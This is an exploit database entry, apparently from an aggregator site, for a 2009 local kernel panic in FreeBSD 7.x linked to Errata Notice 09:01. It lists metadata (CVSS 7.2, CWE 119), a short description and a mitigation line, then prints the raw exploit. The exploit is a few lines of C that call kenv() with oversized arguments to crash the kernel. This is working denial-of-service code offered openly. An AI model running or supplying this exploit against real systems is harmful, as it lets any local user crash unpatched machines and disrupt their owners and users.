header-logo
Suggest Exploit
vendor:
FreeBSD
by:
kokanin@gmail
7.2
CVSS
HIGH
Kernel Panic
119
CWE
Product Name: FreeBSD
Affected Version From: 7.x
Affected Version To: 7.x
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

FreeBSD 7.x local kernel panic

This exploit is related to the Errata Notice 09:01 from FreeBSD.org. It is a local exploit which causes a kernel panic by using the kenv() function with a large value for the third argument. This exploit was published on milw0rm.com in 2009.

Mitigation:

The user should update to the latest version of FreeBSD to patch this vulnerability.
Source

Exploit-DB raw data:

/* FreeBSD 7.x local kernel panic as mentioned in Errata Notice 09:01
http://security.freebsd.org/advisories/FreeBSD-EN-09:01.kenv.asc,
kokanin@gmail */
#include <kenv.h>
#include <stdio.h>
void main(){
kenv(KENV_DUMP,NULL,123123123,123123123);
}

// milw0rm.com [2009-03-23]